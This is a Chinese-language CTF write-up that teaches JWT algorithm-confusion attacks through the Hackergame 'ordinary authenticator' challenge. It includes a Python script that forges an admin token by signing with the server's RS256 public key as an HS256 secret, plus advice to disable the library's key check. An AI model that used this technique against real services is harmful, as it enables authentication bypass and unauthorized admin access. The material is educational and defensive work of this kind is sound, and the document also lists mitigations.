记一题关于JWT的CTF(hackergame 普通的身份认证器)
字数 1649 2025-08-15 21:32:35

JWT安全漏洞分析与利用教学文档

1. JWT基础概念

1.1 什么是JWT

JSON Web Token (JWT) 是RFC 7519定义的一种用于安全传输信息的开放标准,它由三部分组成,通过点号(.)连接:

Header.Payload.Signature

1.2 JWT组成部分

Header (头部)

  • 包含两个主要字段:
    • typ: 令牌类型,通常为"JWT"
    • alg: 签名算法,如HS256、RS256等
  • 示例:
{
  "typ": "JWT",
  "alg": "HS256"
}

Payload (负载)

包含三类声明(claims):

  1. Registered claims (注册声明):

    • iss (issuer): 签发者
    • exp (expiration time): 过期时间
    • sub (subject): 主体
    • aud (audience): 受众
    • nbf (Not Before): 生效时间
    • iat (Issued At): 签发时间
    • jti (JWT ID): 编号
  2. Public claims (公共声明):用户自定义的公开信息

  3. Private claims (私有声明):各方共享的私有信息

Signature (签名)

由以下部分组成:

  • Base64编码后的header
  • Base64编码后的payload
  • 密钥(secret)
    使用指定算法进行加密,如:
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

2. JWT签名算法

2.1 对称加密算法(HS256)

  • 使用同一个密钥进行签名和验证
  • 算法:HMAC + SHA256
  • 特点:密钥必须保密

2.2 非对称加密算法(RS256)

  • 使用私钥签名,公钥验证
  • 算法:RSA + SHA256
  • 特点:公钥可以公开,私钥必须保密

3. JWT安全漏洞分析

3.1 算法混淆攻击(Algorithm Confusion Attack)

攻击原理

  1. 服务器通常配置为接受多种算法(如RS256和HS256)
  2. 攻击者获取服务器的公钥
  3. 修改JWT头部,将算法从RS256改为HS256
  4. 使用公钥作为HS256的密钥重新签名
  5. 服务器使用公钥+HS256验证时,会认为签名有效

攻击条件

  • 能够获取服务器的公钥
  • 服务器不严格校验算法类型
  • JWT库不检查公钥是否适合对称加密

漏洞修复

  • JWT库更新后增加了对公钥的校验
    • 检测public key是否为非对称加密公钥
    • 如果是,则不允许用于HS256算法

4. CTF实战:普通的身份认证器

4.1 题目分析

  • 目标:获取admin权限查看profile文件
  • 已知信息:
    • 使用FastAPI框架
    • JWT验证机制
    • /debug路径暴露了public key

4.2 解题步骤

  1. 信息收集

    • 访问FastAPI默认文档界面/docs
    • /debug获取public key
  2. 构造恶意JWT

    • 修改Payload中的sub为"admin"
    • 修改Header中的alg为"HS256"
    • 使用public key作为HS256的密钥进行签名
  3. 利用脚本

import jwt

PUBLIC_KEY = """-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF
neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf
ft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr
+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY
M688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd
46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s
eDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL
3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns
QcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb
pBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv
FCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==
-----END RSA PUBLIC KEY-----"""

payload = {
    "sub": "admin",
    "exp": 9902085613  # 任意过期时间
}

header = {
    "typ": "JWT",
    "alg": "HS256"
}

# 生成恶意JWT
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256', headers=header)
print(encoded)
  1. 绕过保护机制

    • 新版JWT库会检测公钥是否适合对称加密
    • 解决方法:临时注释掉库中的校验代码
  2. 发送恶意JWT

    • 将生成的token替换到请求中
    • 服务器会使用公钥+HS256验证,认为这是合法token
    • 获取admin权限

5. 防御措施

  1. 服务器端

    • 严格指定接受的算法类型,不接收HS256
    • 不暴露公钥信息
    • 使用最新版JWT库
  2. 开发实践

    • 对JWT进行严格的算法验证
    • 实现公钥/密钥的严格管理
    • 定期更新安全依赖
  3. JWT使用建议

    • 设置合理的过期时间
    • 使用强加密算法
    • 避免在JWT中存储敏感信息

6. 扩展知识

  1. 其他JWT攻击方式

    • 无签名攻击(将alg改为"none")
    • 弱密钥破解
    • 密钥泄露
  2. 相关工具

    • jwt.io - JWT在线解码/编码
    • jwt_tool - JWT渗透测试工具
    • Burp Suite JWT插件
  3. 学习资源

    • RFC 7519: JSON Web Token (JWT)
    • OWASP JWT Cheat Sheet
    • JWT官方文档
JWT安全漏洞分析与利用教学文档 1. JWT基础概念 1.1 什么是JWT JSON Web Token (JWT) 是RFC 7519定义的一种用于安全传输信息的开放标准,它由三部分组成,通过点号(.)连接: 1.2 JWT组成部分 Header (头部) 包含两个主要字段: typ : 令牌类型,通常为"JWT" alg : 签名算法,如HS256、RS256等 示例: Payload (负载) 包含三类声明(claims): Registered claims (注册声明): iss (issuer): 签发者 exp (expiration time): 过期时间 sub (subject): 主体 aud (audience): 受众 nbf (Not Before): 生效时间 iat (Issued At): 签发时间 jti (JWT ID): 编号 Public claims (公共声明):用户自定义的公开信息 Private claims (私有声明):各方共享的私有信息 Signature (签名) 由以下部分组成: Base64编码后的header Base64编码后的payload 密钥(secret) 使用指定算法进行加密,如: 2. JWT签名算法 2.1 对称加密算法(HS256) 使用同一个密钥进行签名和验证 算法:HMAC + SHA256 特点:密钥必须保密 2.2 非对称加密算法(RS256) 使用私钥签名,公钥验证 算法:RSA + SHA256 特点:公钥可以公开,私钥必须保密 3. JWT安全漏洞分析 3.1 算法混淆攻击(Algorithm Confusion Attack) 攻击原理 服务器通常配置为接受多种算法(如RS256和HS256) 攻击者获取服务器的公钥 修改JWT头部,将算法从RS256改为HS256 使用公钥作为HS256的密钥重新签名 服务器使用公钥+HS256验证时,会认为签名有效 攻击条件 能够获取服务器的公钥 服务器不严格校验算法类型 JWT库不检查公钥是否适合对称加密 漏洞修复 JWT库更新后增加了对公钥的校验 检测public key是否为非对称加密公钥 如果是,则不允许用于HS256算法 4. CTF实战:普通的身份认证器 4.1 题目分析 目标:获取admin权限查看profile文件 已知信息: 使用FastAPI框架 JWT验证机制 /debug 路径暴露了public key 4.2 解题步骤 信息收集 : 访问FastAPI默认文档界面 /docs 从 /debug 获取public key 构造恶意JWT : 修改Payload中的 sub 为"admin" 修改Header中的 alg 为"HS256" 使用public key作为HS256的密钥进行签名 利用脚本 : 绕过保护机制 : 新版JWT库会检测公钥是否适合对称加密 解决方法:临时注释掉库中的校验代码 发送恶意JWT : 将生成的token替换到请求中 服务器会使用公钥+HS256验证,认为这是合法token 获取admin权限 5. 防御措施 服务器端 : 严格指定接受的算法类型,不接收HS256 不暴露公钥信息 使用最新版JWT库 开发实践 : 对JWT进行严格的算法验证 实现公钥/密钥的严格管理 定期更新安全依赖 JWT使用建议 : 设置合理的过期时间 使用强加密算法 避免在JWT中存储敏感信息 6. 扩展知识 其他JWT攻击方式 : 无签名攻击(将alg改为"none") 弱密钥破解 密钥泄露 相关工具 : jwt.io - JWT在线解码/编码 jwt_ tool - JWT渗透测试工具 Burp Suite JWT插件 学习资源 : RFC 7519: JSON Web Token (JWT) OWASP JWT Cheat Sheet JWT官方文档